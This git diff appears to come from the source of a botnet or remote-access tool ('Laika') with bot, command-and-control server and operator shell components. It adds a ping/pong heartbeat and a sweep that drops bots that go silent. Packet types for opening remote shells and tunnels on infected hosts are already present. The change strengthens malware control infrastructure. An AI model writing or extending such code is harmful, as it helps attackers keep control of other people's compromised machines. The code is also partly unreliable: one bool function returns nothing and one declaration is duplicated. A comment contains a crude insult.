diff --git a/bot/include/bot.h b/bot/include/bot.h index faf4ffc..42fd87b 100644 --- a/bot/include/bot.h +++ b/bot/include/bot.h @@ -5,6 +5,7 @@ #include "lpacket.h" #include "lsocket.h" #include "lpeer.h" +#include "ltask.h" #include "lpolllist.h" #include "lsodium.h" @@ -22,4 +23,6 @@ void laikaB_freeBot(struct sLaika_bot *bot); void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */ bool laikaB_poll(struct sLaika_bot *bot, int timeout); +void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData); + #endif \ No newline at end of file diff --git a/bot/src/bot.c b/bot/src/bot.c index 6ec4135..45c879d 100644 --- a/bot/src/bot.c +++ b/bot/src/bot.c @@ -12,6 +12,11 @@ void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE")); } +void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { + LAIKA_DEBUG("got ping from cnc!\n"); + /* stubbed */ +} + /* =============================================[[ Packet Tables ]]============================================== */ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = { @@ -19,6 +24,10 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = { laikaB_handleHandshakeResponse, sizeof(uint8_t), false), + LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PINGPONG, + laikaB_handlePing, + 0, + false), LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_OPEN, laikaB_handleShellOpen, sizeof(uint16_t) + sizeof(uint16_t), @@ -152,4 +161,10 @@ bool laikaB_poll(struct sLaika_bot *bot, int timeout) { /* flush any events after (eg. made by a packet handler) */ laikaP_flushOutQueue(&bot->pList); return true; +} + +void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { + struct sLaika_bot *bot = (struct sLaika_bot*)uData; + + laikaS_emptyOutPacket(bot->peer, LAIKAPKT_PINGPONG); } \ No newline at end of file diff --git a/bot/src/main.c b/bot/src/main.c index 0d48c9b..985d808 100644 --- a/bot/src/main.c +++ b/bot/src/main.c @@ -30,6 +30,7 @@ int main(int argv, char *argc[]) { /* init task service */ laikaT_initTaskService(&tService); laikaT_newTask(&tService, 100, shellTask, (void*)bot); + laikaT_newTask(&tService, 5000, laikaB_pingTask, (void*)bot); LAIKA_TRY /* connect to test CNC */ diff --git a/cnc/include/cnc.h b/cnc/include/cnc.h index 788b26e..208b7de 100644 --- a/cnc/include/cnc.h +++ b/cnc/include/cnc.h @@ -6,12 +6,17 @@ #include "lsocket.h" #include "lpolllist.h" #include "lpeer.h" +#include "ltask.h" #include "hashmap.h" +/* kill peers if they haven't ping'd within a minute */ +#define LAIKA_PEER_TIMEOUT 60 * 1000 + typedef bool (*tLaika_peerIter)(struct sLaika_peer *peer, void *uData); struct sLaika_peerInfo { struct sLaika_cnc *cnc; + long lastPing; }; #define BASE_PEERINFO struct sLaika_peerInfo info; @@ -63,4 +68,9 @@ void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData) struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub); +/* kills peers who haven't ping'd in a while */ +void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData); + +void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData); + #endif \ No newline at end of file diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index 9956925..9832157 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -2,6 +2,7 @@ #include "lsodium.h" #include "lsocket.h" #include "lerror.h" +#include "ltask.h" #include "cpanel.h" #include "cnc.h" @@ -12,6 +13,7 @@ struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) { struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz); pInfo->cnc = cnc; + pInfo->lastPing = laikaT_getTime(); return pInfo; } @@ -134,6 +136,13 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v LAIKA_DEBUG("accepted handshake from peer %p\n", peer); } +void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { + struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; + + pInfo->lastPing = laikaT_getTime(); + laikaS_emptyOutPacket(peer, LAIKAPKT_PINGPONG); /* gg 2 ez */ +} + /* =============================================[[ Packet Tables ]]============================================== */ #define DEFAULT_PKT_TBL \ @@ -141,6 +150,10 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v laikaC_handleHandshakeRequest, \ LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_INET_LEN, \ false), \ + LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PINGPONG, \ + laikaC_handlePing, \ + 0, \ + false), \ LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, \ laikaC_handleAuthenticatedHandshake, \ sizeof(uint8_t), \ @@ -421,6 +434,22 @@ struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub) { return elem ? elem->peer : NULL; } +bool sweepPeers(struct sLaika_peer *peer, void *uData) { + struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)peer->uData; + struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData; + long currTime = laikaT_getTime(); + + /* peer has been silent for a while, kill 'em */ + if (currTime - pInfo->lastPing > LAIKA_PEER_TIMEOUT) + laikaC_killPeer(cnc, peer); +} + +void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { + struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData; + + laikaC_iterPeers(cnc, sweepPeers, (void*)cnc); +} + /* ===============================================[[ Peer Iter ]]================================================ */ struct sWrapperData { diff --git a/cnc/src/main.c b/cnc/src/main.c index cdb1f7e..cf52aca 100644 --- a/cnc/src/main.c +++ b/cnc/src/main.c @@ -56,6 +56,7 @@ int main(int argv, char *argc[]) { return 1; laikaT_initTaskService(&tService); + laikaT_newTask(&tService, 1000, laikaC_sweepPeersTask, (void*)cnc); /* start cnc */ laikaC_bindServer(cnc); diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index 19b0edf..3bece66 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -53,6 +53,10 @@ enum { /* layout of LAIKAPKT_HANDSHAKE_RES: * uint8_t cncEndian; */ + LAIKAPKT_PINGPONG, + /* layout of LAIKAPKT_PINGPONG: + * NULL (empty packet) + */ LAIKAPKT_TUNNEL_OPEN, /* if sent to bot, opens a tunnel to localhost's port. if sent to cnc, signifies you opened the tunnel */ /* layout of LAIKAPKT_TUNNEL_OPEN: * uint16_t port; diff --git a/lib/include/ltask.h b/lib/include/ltask.h index 7b5fcc4..2397bf9 100644 --- a/lib/include/ltask.h +++ b/lib/include/ltask.h @@ -30,4 +30,6 @@ void laikaT_pollTasks(struct sLaika_taskService *service); /* will return the delta time in ms till the next event. -1 for no tasks scheduled */ int laikaT_timeTillTask(struct sLaika_taskService *service); +long laikaT_getTime(void); + #endif \ No newline at end of file diff --git a/lib/src/lpacket.c b/lib/src/lpacket.c index 19c0381..91bc838 100644 --- a/lib/src/lpacket.c +++ b/lib/src/lpacket.c @@ -6,6 +6,7 @@ const char* laikaD_getPacketName(LAIKAPKT_ID id) { "LAIKAPKT_VARPKT", "LAIKAPKT_HANDSHAKE_REQ", "LAIKAPKT_HANDSHAKE_RES", + "LAIKAPKT_PINGPONG", "LAIKAPKT_TUNNEL_OPEN", "LAIKAPKT_TUNNEL_CLOSE", "LAIKAPKT_TUNNEL_CONNECTION_ADD", diff --git a/lib/src/lsocket.c b/lib/src/lsocket.c index bafe3a1..c38eaa6 100644 --- a/lib/src/lsocket.c +++ b/lib/src/lsocket.c @@ -300,7 +300,7 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed /* if the socket closed or an error occurred, return the error result */ errCode = RAWSOCK_ERROR; } else if (rcvd > 0) { -#ifdef DEBUG +#if 0 /* for debugging */ printf("---recv'd %d bytes---\n", rcvd); for (i = 1; i <= rcvd; i++) { @@ -354,7 +354,7 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed } while((sentBytes += sent) < sz); _rawWriteExit: -#ifdef DEBUG +#if 0 /* for debugging */ printf("---sent %d bytes---\n", sent); for (i = 1; i <= sentBytes; i++) { diff --git a/lib/src/ltask.c b/lib/src/ltask.c index cfabf9e..b65300c 100644 --- a/lib/src/ltask.c +++ b/lib/src/ltask.c @@ -3,7 +3,7 @@ /* this is the only reason C11 support is needed, i cba to write windows/linux specific stuff to get the current time in ms also side note: microsoft? more like micropenis */ -long getTime() { +long laikaT_getTime() { struct timespec ts; timespec_get(&ts, TIME_UTC); return ts.tv_sec*1000 + ts.tv_nsec/1000000; /* convert time (seconds & nanoseconds) to milliseconds */ @@ -27,7 +27,7 @@ void laikaT_cleanTaskService(struct sLaika_taskService *service) { void scheduleTask(struct sLaika_taskService *service, struct sLaika_task *task) { struct sLaika_task *curr = service->headTask, *last = NULL; - task->scheduled = getTime() + task->delta; + task->scheduled = laikaT_getTime() + task->delta; /* search list for task for which we're scheduled before */ while (curr != NULL && curr->scheduled < task->scheduled) { @@ -84,7 +84,7 @@ void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task void laikaT_pollTasks(struct sLaika_taskService *service) { struct sLaika_task *last, *curr = service->headTask; - clock_t currTick = getTime(); + clock_t currTick = laikaT_getTime(); /* run each task, list is already sorted from closest scheduled task to furthest */ while (curr != NULL && curr->scheduled <= currTick) { /* if scheduled time is greater than currTime, all events that follow are also not scheduled yet */ @@ -104,7 +104,7 @@ void laikaT_pollTasks(struct sLaika_taskService *service) { /* will return the delta time in ms till the next event. -1 for no tasks scheduled */ int laikaT_timeTillTask(struct sLaika_taskService *service) { if (service->headTask) { - int pause = service->headTask->scheduled - getTime(); + int pause = service->headTask->scheduled - laikaT_getTime(); return (pause > 0) ? pause : 0; } else return -1; /* no tasks scheduled */ diff --git a/shell/include/sclient.h b/shell/include/sclient.h index 5ae92f9..4a15511 100644 --- a/shell/include/sclient.h +++ b/shell/include/sclient.h @@ -3,6 +3,7 @@ #include "hashmap.h" #include "lpeer.h" +#include "ltask.h" #include "lsodium.h" #include "speer.h" @@ -10,6 +11,7 @@ typedef struct sShell_client { uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES]; struct sLaika_pollList pList; + struct sLaika_taskService tService; struct sLaika_peer *peer; tShell_peer *openShell; /* if not NULL, shell is open on peer */ struct hashmap *peers; diff --git a/shell/src/sclient.c b/shell/src/sclient.c index 9d7828c..11a3ee5 100644 --- a/shell/src/sclient.c +++ b/shell/src/sclient.c @@ -6,6 +6,13 @@ #include "sclient.h" + +void shell_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { + tShell_client *client = (tShell_client*)uData; + + laikaS_emptyOutPacket(client->peer, LAIKAPKT_PINGPONG); +} + /* ==============================================[[ PeerHashMap ]]=============================================== */ typedef struct sShell_hashMapElem { @@ -35,6 +42,12 @@ void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void PRINTSUCC("Handshake accepted!\n"); } +void shellC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { + LAIKA_DEBUG("got ping from cnc!\n"); + /* stubbed */ +} + + void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipv4[LAIKA_IPV4_LEN]; uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; @@ -117,6 +130,10 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = { shellC_handleHandshakeRes, sizeof(uint8_t), false), + LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PINGPONG, + shellC_handlePing, + 0, + false), LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, shellC_handleAddPeer, crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_INET_LEN + LAIKA_IPV4_LEN + sizeof(uint8_t) + sizeof(uint8_t), @@ -161,6 +178,9 @@ void shellC_init(tShell_client *client) { client->peerTblCap = 4; client->peerTblCount = 0; + laikaT_initTaskService(&client->tService); + laikaT_newTask(&client->tService, 5000, shell_pingTask, client); + /* load authenticated keypair */ if (sodium_init() < 0) { shellC_cleanup(client); @@ -187,6 +207,8 @@ void shellC_cleanup(tShell_client *client) { laikaP_cleanPList(&client->pList); hashmap_free(client->peers); + laikaT_cleanTaskService(&client->tService); + /* free peers */ for (i = 0; i < client->peerTblCount; i++) { if (client->peerTbl[i]) @@ -235,7 +257,10 @@ bool shellC_poll(tShell_client *client, int timeout) { struct sLaika_pollEvent *evnts, *evnt; int numEvents, i; - /* flush any events prior (eg. made by a command handler) */ + /* run any scheduled tasks, this could be moved but it works fine here for now */ + laikaT_pollTasks(&client->tService); + + /* flush any events prior (eg. made by a command handler or task) */ laikaP_flushOutQueue(&client->pList); evnts = laikaP_poll(&client->pList, timeout, &numEvents);